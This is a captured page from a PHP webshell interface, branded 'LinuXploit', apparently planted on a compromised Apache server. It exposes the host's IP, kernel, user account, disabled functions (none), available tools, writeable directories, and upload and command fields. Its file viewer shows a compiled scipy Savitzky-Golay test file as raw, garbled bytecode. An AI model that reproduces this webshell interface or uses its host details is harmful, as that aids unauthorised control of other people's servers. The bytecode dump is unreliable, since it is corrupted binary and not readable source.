403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/signal/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/signal/tests/__pycache__/test_savitzky_golay.cpython-311.pyc
�

d�c�0���ddlZddlZddlmZmZmZmZmZddl	m
Z
ddlmZm
Z
ddlmZd�Zd�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z dS)�N)�assert_allclose�assert_equal�assert_almost_equal�assert_array_equal�assert_array_almost_equal)�
convolve1d)�
savgol_coeffs�
savgol_filter)�_polyderc�F�t||��}t||��dS)N)rr)�p�m�expected�dps    �H/usr/lib/python3/dist-packages/scipy/signal/tests/test_savitzky_golay.py�
check_polyderr
s%��	�!�Q���B��r�8�$�$�$�$�$�c
�f�dgddgfdgddgfgd�dgd�fgd�dddgfgd�ddgfgd�ddgfgd�gd�gdgd�gd�gfgd�gd�gdddgd	dggfgd�gd�gddgd	ggfgd�gd�gddgdggfg
}|D]E\}}}ttj|��j|tj|��j���FdS)
N�r�)��r�rr)rr��
)r�np�array�T)�casesr
rrs    r�test_polyderr s:��
��a�!��
�
��a�!��
�	���A�y�y�y�!�	���A��1�v��	���A��s��	���A��s��
�)�)�Y�Y�Y�	��Y�Y�Y�	�	�	�$:�;�
�)�)�Y�Y�Y�	��a��V�b�!�W�$5�6�
�)�)�Y�Y�Y�	��a�S�2�$�K�0�
�)�)�Y�Y�Y�	��a�S�1�#�J�/�
�E� �>�>���1�h��b�h�q�k�k�m�Q����(:�(:�(<�=�=�=�=�>�>rc���|�|dz}tj|��}||k�t��}tjtj|||��|��}|S)z�This is an alternative implementation of the SG coefficients.

    It uses numpy.polyfit and numpy.polyval. The results should be
    equivalent to those of savgol_coeffs(), but this implementation
    is slower.

    window_length should be odd.

    Nr)r�arange�astype�int�polyval�polyfit)�
window_length�	polyorder�pos�t�unit�hs      r�
alt_sg_coeffsr-'s]���{��q� ��
�	�-� � �A�
��H���S�!�!�D�
�
�2�:�a��y�1�1�1�5�5�A��Hrc�r�tdd��}t|dg��tdd��}t|gd�d���tdd	��}t|gd
�d���tdd	d���}t|gd�d���tdd	dd
���}t|gd�d���dS)Nrrrr)rrr绽���|�=��atolr�)rrrrr�r))rrrrr�dot�r)�use)rrrrr)r	r)r,s r�test_sg_coeffs_trivialr79s����a����A��A��s�����a����A��A�y�y�y�u�-�-�-�-��a����A��A����U�3�3�3�3��a���"�"�"�A��A����U�3�3�3�3��a���u�-�-�-�A��A����U�3�3�3�3�3�3rc
���dgtt|����zD]@}t|||d���}t|||���}t	||dd|||fz����AdS)Nr4r5r3r/z(window_length = %d, order = %d, pos = %s)r1�err_msg)�list�ranger	r-r)r'�orderr)�h1�h2s     r�compare_coeffs_to_altr?Ks����v��U�=�1�1�2�2�2�?�?��
�=�%�S�e�
D�
D�
D��
�=�%�S�
9�
9�
9����B�U�!K�"/���!<�"=�	?�	?�	?�	?�	?�?�?rc�r�tddd��D]$}t|��D]}t||����%dS)Nr�r)r;r?)r'r<s  r�test_sg_coeffs_comparerBWsT���q�!�Q���8�8�
��=�)�)�	8�	8�E�!�-��7�7�7�7�	8�8�8rc�4�d}d}|dz}tjddd��}|d|dz
}d|d	zz|z
}t||��}t||��}t	|||�|||���d
|dzzdz
}t||d|���}t||��}	t	|	||�|||���d|z}
t||d|���}t||��}t	|||�|
||���dS)
Nr2�	rr��+r��?rg�?)�deriv�delta�@)r�linspacer	rr)r(r'�halflen�xrI�yr,�y0�dy�y1�d2y�y2s            r�test_sg_coeffs_exactrT^sS���I��M��q� �G�
��A�r�2���A�
�a�D�1�Q�4�K�E�
	�a�1�f��q��A��m�Y�/�/�A�	�A�q�	�	�B��B�w��x�'�(�!�G�W�H�,<�*=�>�>�>�

�q�A�v���	�B��m�Y�a�u�E�E�E�A�	�A�q�	�	�B��B�w��x�'�(�"�W�g�X�-=�*>�?�?�?���'�C��m�Y�a�u�E�E�E�A�	�A�q�	�	�B��B�w��x�'�(�#�g�w�h�.>�*?�@�@�@�@�@rc	�"�tjgd���}|dzdz}|dz}tj|d��}t|j��D]�}tdd|dd�	��}t
|�|��||d
���tdd|ddd�
��}t
|�|��||d
���tdd|ddd�
��}t
|�|��||d
�����dS)N)g�g�@�@g@rr2rGrrrVr4)r)rIr6r/r0r)r)rIr6rH)rr�	full_liker;�sizer	rr4)�irM�dx�d2xr)�coeffs0�coeffs1�coeffs2s        r�test_sg_coeffs_derivr`{s��	��+�+�+�,�,�A�	�Q���
�A�	
�Q��B�
�,�q�#�
�
�C��Q�V�}�}�>�>����1�#�S�e�D�D�D������A����#��U�;�;�;�;���1�#�S�e�1�M�M�M������A����3��e�<�<�<�<���1�#�S�e�1�M�M�M������A����C��u�=�=�=�=�=�
>�>rc���tddd���}t|tjd����tddd���}t|tjd����dS)	z�
    If deriv > polyorder, the coefficients should be all 0.
    This is a regression test for a bug where, e.g.,
        savgol_coeffs(5, polyorder=1, deriv=2)
    raised an error.
    rrr)r(rHrr2rN)r	rr�zeros)�coeffss r�!test_sg_coeffs_deriv_gt_polyorderrd�sb���1���
3�
3�
3�F��v�r�x��{�{�+�+�+�
�1���
3�
3�
3�F��v�r�x��{�{�+�+�+�+�+rc��tdd��}t||ddd���tddd���}t||ddd���dS)N�rD���r)rH)r	r)r]r^s  r�test_sg_coeffs_largerh�sc���B��"�"�G��g�w�t�t��t�}�5�5�5��B���+�+�+�G��g����"��
�~�6�6�6�6�6rc�B����gd�}|D]&}t|dd��}t|d|z���'d��d��|D]�}|dz���fd�t�dz�dz��D��ddd�}t|dd��}t||��t|dd��}t||����fd	�t�dz�dz��D��ddd�}t|dd��}t||��t|d
d��}t||����dS)N)r2rrAr���rrc�<�d|dz
zd|zdz|zd|zdz
zzS)NrrGrr�)�krs  r�h_p_d_closed_form_1z>test_sg_coeffs_even_window_length.<locals>.h_p_d_closed_form_1�s.���!�c�'�{�Q�q�S�1�W�a�K��1��q��1�2�2rc��dd|dzzdzd|dz
dzzzz}dd|zdzz|dzz|z|dz
zd|zdz
z}||zS)N����rrrjrGr2rn)ror�numer�denoms    r�h_p_d_closed_form_2z>test_sg_coeffs_even_window_length.<locals>.h_p_d_closed_form_2�sh���B�q�!�t�G�a�K�"�a�#�g��\�/�1�2���1�Q�3��7��Q��U�#�A�%�q�1�u�-�q��s�Q�w�7���U�{�rrc�(��g|]}�|�����Srnrn)�.0rorprs  ��r�
<listcomp>z5test_sg_coeffs_even_window_length.<locals>.<listcomp>��6���:�:�:� �/�.�q�!�4�4�:�:�:rrgc�(��g|]}�|�����Srnrn)rxrorvrs  ��rryz5test_sg_coeffs_even_window_length.<locals>.<listcomp>�rzrr)r	rr;)�window_lengths�length�h_p_d�expected_output�
actual_outputrprvrs     @@@r�!test_sg_coeffs_even_window_lengthr��s������.�.�.�N� �)�)���f�a��+�+����q��x�(�(�(�(�3�3�3����
!�8�8���A�I��:�:�:�:�:�$)�1�"�q�&�!�a�%�$8�$8�:�:�:�:>�$�B�$�@��%�f�a��3�3�
����7�7�7�%�f�a��3�3�
����7�7�7�:�:�:�:�:�$)�1�"�q�&�!�a�%�$8�$8�:�:�:�:>�$�B�$�@��%�f�a��3�3�
����7�7�7�%�f�a��3�3�
����7�7�7�7�8�8rc���tjdg��}t|dd��}t|dg��tjdg��}t|ddd���}t	|dgd�	��tjdg��}t|ddd
���}t	|dgd�	��tjdgdz��}t|ddd���}t	|gd�d�	��d
S)z2 Test some trivial edge cases for savgol_filter().��?rrrJr�constant��moderr)�decimal�nearest�wrap)r�r�r�N)rrr
rr�rMrNs  r�test_sg_filter_trivialr��s���
��#����A��a��A���A���S�E����
	��#����A��a��A�J�/�/�/�A���C�5�"�-�-�-�-�
��#����A��a��A�I�.�.�.�A���C�5�"�-�-�-�-�
��#������A��a��A�F�+�+�+�A���?�?�?�B�7�7�7�7�7�7rc��tjgd���}t|ddd���}t|gd���t|ddd���}t|gd���t|ddd	���}t|gd
���dS)N�r�rVr�rrr�r��r��UUUUUU�?r��mirror)竪�����?r�r�r�)r�r�r�)rrr
rr�s  r�test_sg_filter_basicr��s���
�����!�!�A��a��A�J�/�/�/�A��A�*�*�*�+�+�+��a��A�H�-�-�-�A��A�2�2�2�3�3�3��a��A�F�+�+�+�A��A�2�2�2�3�3�3�3�3rc��tjgd�gd�g��}tjgd�gd�g��}t|ddd���}t||��t|jdddd	�
��}t||j��dS)Nr�)rVrWrVr�)rVgUUUUUU@rVrrr�r�r)r��axis)rrr
rr)rMrrNs   r�test_sg_filter_2dr��s���
��/�/�/�!�/�/�#�	$�	$�A��x�,�,�,�,�,�,�.�/�/�H��a��A�J�/�/�/�A��A�x� � � ��a�c�1�a�j�q�9�9�9�A��A�x�z�"�"�"�"�"rc	��tjddd��}|d|dz
}tj|d|dzz|dz|z
g��}tjtj|��d|zd|dzzd	z
g��}tjtj|��tj|d��d|zg��}d
}t
||ddd�
��}t||d���t
||dddd|���}t||d���t
||dddd|���}t||d���|j}|j}|j}t
||ddd�
��}t||d���t
||dddd|���}t||d���t
||dddd|���}t||d���dS)N���rrErrrrrr�rrg�interp)r�r�g�-���q=r0�r�r�rHrI)	rrKr�	ones_like�
zeros_likerXr
rr)	r*rIrMr[r\r'rNrQrSs	         r�test_sg_filter_interp_edgesr��s'��
	��B��2���A�
�a�D�1�Q�4�K�E�
��!��a�1�f�*��q�&�1�*��	�	�A�
��2�<��?�?��q�5��q�A�v�:��#�%�
&�
&�B�
�(�B�M�!�$�$��L��A�&�&���E����C��M��a�����B�B�B�A��A�q�u�%�%�%�%�	�q�-���(��e�
-�
-�
-�B��B���'�'�'�'�	�q�-���(��e�
-�
-�
-�B��B��%�(�(�(�(�	
��A�	��B�

�%�C��a�����A�A�A�A��A�q�u�%�%�%�%�	�q�-�����e�
-�
-�
-�B��B���'�'�'�'�	�q�-�����e�
-�
-�
-�B��B��%�(�(�(�(�(�(rc	��tjddd��}|d|dz
}tj||g��}tj|dzd|dzzdzg��}tj|dzd|dzz|dzzd|zz
g��}tjtj|��tj|��g��}tjd|zd	|zg��}tjd|dzzd	|dzzd|zzdz
g��}tj|||g��}tj|||g��}	t	|d
ddd|�
��}
t|
|d���t	|d
dddd|���}t||	d���tj|j|j|jg��}tj|j|j|jg��}	t	|d
ddd|�
��}
t|
|d���t	|d
dddd|���}t||	d���|�dd�����}|	�dd�����}	t	|d
ddd|�
��}
t|
|d���t	|d
dddd|���}t||	d���dS)Nr�rrErrrrrGrrrgr�)r�r�rIr/r0r�)	rrKrr�r
rr�swapaxes�copy)r*rI�x1�x2�x3�dx1�dx2�dx3�z�dzrNrPs            r�test_sg_filter_interp_edges_3dr�-s���
��B��2���A�
�a�D�1�Q�4�K�E�	��1�q�b�'�	�	�B�	��1��6�1�q�A�v�:��>�*�	+�	+�B�	��1��6�1�q�A�v�:��Q��.��q��8�9�	:�	:�B�
�(�B�L��O�O�b�l�1�o�o�%5�6�
7�
7�C�
�(�A��E�1�q�5�>�
"�
"�C�
�(�A��Q��J��A��F�
�Q��U� 2�S� 8�9�
:�
:�C�	��"�b�"����A�	��3��S�/�	"�	"�B��a��A�B�X�U�C�C�C�A��A�q�u�%�%�%�%�	�q�!�Q�R�h�a�u�	M�	M�	M�B��B���'�'�'�'�	��"�$���b�d�#�$�$�A�	��3�5�#�%���'�	(�	(�B��a��A�A�H�E�B�B�B�A��A�q�u�%�%�%�%�	�q�!�Q�Q�X�Q�e�	L�	L�	L�B��B���'�'�'�'�	
�
�
�1�a�������A�	���Q��	�	�	�	�	!�	!�B��a��A�A�H�E�B�B�B�A��A�q�u�%�%�%�%�	�q�!�Q�Q�X�Q�e�	L�	L�	L�B��B���'�'�'�'�'�'rc��tjd��}t|ddd���tjt
d���5t|ddd���d	d	d	��n#1swxYwYt|d
ddd���tjt
d���5t|d
ddd���d	d	d	��d	S#1swxYwYd	S)z=Tests that the window_length check is using the correct axis.)r���rr�)r'r(r�zwindow_length must be less than)�matchrfNrDr)r'r(r�r��)r�onesr
�pytest�raises�
ValueError)rMs r�%test_sg_filter_valid_window_length_3dr�Ws��	�����A��!�2���B�B�B�B�	��z�)J�	K�	K�	K�G�G��a�r�Q�X�F�F�F�F�G�G�G�G�G�G�G�G�G�G�G����G�G�G�G��!�1����I�I�I�I�	��z�)J�	K�	K�	K�O�O��a�r�Q�Q�X�N�N�N�N�O�O�O�O�O�O�O�O�O�O�O�O����O�O�O�O�O�Os$�A#�#A'�*A'�B?�?C�C)!r��numpyr�
numpy.testingrrrrr�
scipy.ndimager�scipy.signalr	r
�scipy.signal._savitzky_golayrrr r-r7r?rBrTr`rdrhr�r�r�r�r�r�r�rnrr�<module>r�s���
�
�
�
�����6�6�6�6�6�6�6�6�6�6�6�6�6�6�%�$�$�$�$�$�5�5�5�5�5�5�5�5�1�1�1�1�1�1�%�%�%�
>�>�>�*
�
�
�$4�4�4�$	?�	?�	?�8�8�8�A�A�A�:
>�
>�
>� 
,�
,�
,�7�7�7� 8� 8� 8�N8�8�8�,
4�
4�
4�	#�	#�	#�.)�.)�.)�b'(�'(�'(�TO�O�O�O�Or

Youez - 2016 - github.com/yon3zu
LinuXploit